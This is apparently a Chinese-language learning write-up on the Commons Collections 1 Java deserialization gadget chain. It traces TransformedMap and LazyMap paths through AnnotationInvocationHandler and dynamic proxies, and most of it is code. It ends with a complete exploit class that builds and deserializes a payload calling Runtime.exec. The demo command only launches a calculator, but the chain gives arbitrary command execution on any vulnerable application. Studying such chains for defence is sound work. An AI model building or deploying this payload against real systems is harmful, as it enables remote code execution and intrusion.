0x00 准备 jdk下载地址
8u65
https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
Oracle账号分享[JDK下载使用]
方面调试通过openjdk下载源码
idea调试问题看这里
https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.999.0.0&vd_source=64ffa81d78eab19793b4d29d5ed45672&t=509.3
idea快捷键
查看接口或抽象类的实现类ctrl+alt+b选择接口或者类
0x01 cc1 cc1
主要是利用commons Collections 中有一个 Transformer 接口,其中包含一个 transform 方法,通过实现此接口来达到类型转换的目的
transformer
是个抽象类,首先看一下有哪些实现类
首先看cc1漏洞最重要的一个实现类
InvokerTransformer
InvokerTransformer
中的transform
标准反射写法,可以实现任意方法调用
利用方法
1 2 InvokerTransformer exec = new InvokerTransformer("exec" , new Class[]{String.class}, new String[]{"calc" }); exec.transform(Runtime.getRuntime());
ChainedTransformer
构造方法传入Transformer
数组然后transform
实现链式调用
ConstantTransformer
ConstantTransformer
的transform
就是返还构造函数传入的对象
准备工作完成下面来看利用链
调用流程 这里借用Townmacro师傅的一张图
所以首先找危险方法,这里在前面介绍实现类的时候InvokerTransformer
中就有任意方法调用
1 2 InvokerTransformer exec = new InvokerTransformer("exec" , new Class[]{String.class}, new String[]{"calc" }); exec.transform(Runtime.getRuntime());
然后再往前找,找找哪个调用了transform
LazyMap和TransformedMap都直接调用了transform,这里先用TransformedMap
这里注释了无用的部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { private static final long serialVersionUID = 7023152376788900464L ; protected final Transformer keyTransformer; protected final Transformer valueTransformer; public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } ........ protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } ........ protected Object checkSetValue (Object value) { return valueTransformer.transform(value); } ...... }
首先是checkSetValue
方法调用了transform
,但是TransformedMap
的构造函数是保护类型protected
但是提供了静态方法decorate
可以获取对象
这里先用反射测一下
1 2 3 4 5 6 7 8 9 Object runtime = Runtime.getRuntime(); InvokerTransformer exec = new InvokerTransformer("exec" , new Class[]{String.class}, new String[]{"calc" }); HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); Map decorate = TransformedMap.decorate(objectObjectHashMap, null , exec); Method checkSetValue = TransformedMap.class.getDeclaredMethod("checkSetValue" , Object.class); checkSetValue.setAccessible(true ); checkSetValue.invoke(decorate,runtime);
但是实际肯定不能这么用,下面就是找在哪里调用了checkSetValue
这里MapEntry
继承自AbstractMapEntryDecorator
AbstractMapEntryDecorator
又实现类Map.Entry
1 public abstract class AbstractMapEntryDecorator implements Map .Entry , KeyValue
Entry是一个静态内部类
map遍历时可以使用Entry
这里实际上就是重写了Entry里的setValue
1 2 3 4 5 6 7 8 9 Object runtime = Runtime.getRuntime(); InvokerTransformer exec = new InvokerTransformer("exec" , new Class[]{String.class}, new String[]{"calc" }); HashMap<Object, Object> map = new HashMap<>(); map.put("key" ,"value" ); Map<Object,Object> decorateMap = TransformedMap.decorate(map, null , exec); for (Map.Entry entry:decorateMap.entrySet()){ entry.setValue(runtime); }
TransformedMap —–继承自—–>AbstractInputCheckedMapDecorator
MapEntry
是抽象类AbstractInputCheckedMapDecorator的内部类
MapEntry
—–继承自—–>AbstractMapEntryDecorator
AbstractMapEntryDecorator
—–实现了—–>Map.Entry
现在我们就需要看看有没有readObject
方法调用了setValue
找到AnnotationInvocationHandler
中的readObject
调用了
这里的memberValues
是通过构造函数传进去的,可控
由于AnnotationInvocationHandler类没写public只能在包内才能访问,所以这里用反射去获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Object runtime = Runtime.getRuntime(); InvokerTransformer exec = new InvokerTransformer("exec" , new Class[]{String.class}, new String[]{"calc" }); HashMap<Object, Object> map = new HashMap<>(); map.put("key" ,"value" ); Map<Object,Object> decorateMap = TransformedMap.decorate(map, null , exec); Class<?> AnnotationInvocationHandlerclass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> declaredConstructor = AnnotationInvocationHandlerclass.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true ); declaredConstructor.newInstance(Override.class,decorateMap);
现在可以构造进去了,现在就是需要调用readObject
,反序列化时默认调用readObject
,但是我们使用命令执行的函数Runtime
咩有实现Serializable
所以不可以序列化反序列化,但是Class
是可以序列化反序列化的,所以这里利用刚开始使用InvokerTransformer
的反射去获取
1 2 3 4 5 6 7 8 9 10 11 12 13 Class runtimeClass = Runtime.class; Method getRuntimeMethod = runtimeClass.getMethod("getRuntime" , null ); Runtime r = (Runtime) getRuntimeMethod.invoke(null , null ); Method exec = runtimeClass.getMethod("exec" , String.class); exec.invoke(r,"calc" ); Method getruntimeMethod = (Method) new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , null }).transform(Runtime.class); Runtime robject = (Runtime) new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , null }).transform(getruntimeMethod); new InvokerTransformer("exec" , new Class[]{String.class}, new String[]{"calc" }).transform(robject);
然后下面借用之前看到的ChainedTransformer
类来实现链式调用
这里再看一眼ChainedTransformer#transform
函数
1 2 3 4 5 6 public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
可以实现一个递归调用
上面就可以改写为
1 2 3 4 5 6 7 Transformer[] transformers = { new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , null }), new InvokerTransformer("exec" , new Class[]{String.class}, new String[]{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
接下来就是利用sun.reflect.annotation.AnnotationInvocationHandler
中的readObject
实现反序列化自动调用
完整代码 单独放一下序列化反序列化代码
1 2 3 4 5 6 7 8 9 public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String fileName) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName)); return ois.readObject(); }
首先整理一下完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Transformer[] transformers = { new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , null }), new InvokerTransformer("exec" , new Class[]{String.class}, new String[]{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map1 = new HashMap<>(); map1.put("key" ,"value" ); Map<Object,Object> decorateMap = TransformedMap.decorate(map1, null , chainedTransformer); Class<?> AnnotationInvocationHandlerclass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> AnnotationInvocationHandlerclassConstructor = AnnotationInvocationHandlerclass.getDeclaredConstructor(Class.class, Map.class); AnnotationInvocationHandlerclassConstructor.setAccessible(true ); Object o = AnnotationInvocationHandlerclassConstructor.newInstance(Override.class, decorateMap); serialize(o); unserialize("ser.bin" );
但是上面的代码并不会弹计算器,因为在AnnotationInvocation#readObject
还有条件没绕过
获取传进来注解中的成员方法 然后Map.Entry<String, Object> memberValue : memberValues.entrySet()
获取到的是我们传进来的Map对象的键值对之后的name获取到的是传进来Map对象的key,然后在memberTypes中查找是否存在这个key因为我们传进来的注解Override
本来就没有成员方法
找到Target.class里面包含value,然后只需要把map键写入value
lazyMap利用 完整的调用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
前面的链子和TransformedMap那个链子几乎是一样的,不同点在于这里通过lazyMap中get可以调transform函数
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
这里首先需要了解一下java动态代理
在运行期动态创建一个interface
实例的方法如下:
定义一个InvocationHandler
实例,它负责实现接口的方法调用;
通过Proxy.newProxyInstance()
创建interface
实例,它需要3个参数:
使用的ClassLoader
,通常就是接口类的ClassLoader
;
需要实现的接口数组,至少需要传入一个接口进去;
用来处理接口方法调用的InvocationHandler
实例。
将返回的Object
强制转型为接口。
这里主要就是代理模式会调用invoke,然后AnnotationInvocationHandler的invoke中会调用get方法
然后这边通过给map接口动态代理对象调用任何一个方法时会调用handler中的invoke方法。我们回看sun.reflect.annotation.AnnotationInvocationHandler
,会发现实际上这个类实际就是一个InvocationHandler
,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke
方法中,进而触发我们LazyMap#get
上图是AnnotationInvocationHandler的readObject函数,里面memberValues.entrySet()即会触发
下面是完整的链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC1_lazy { public static void main (String[] args) { try { Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" ,new Class[]{String.class,Class[].class},new Object[]{"getRuntime" , null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , null }), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc" }), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value" ,"value" ); Map<Object,Object> transformedMap = LazyMap.decorate(map, chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Override.class, transformedMap); Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler); Object o = declaredConstructor.newInstance(Override.class, proxymap); serialize(o); unserialize("ser_lazy.bin" ); } catch (ClassNotFoundException | NoSuchMethodException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser_lazy.bin" )); oos.writeObject(obj); } public static Object unserialize (String fileName) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName)); return ois.readObject(); } }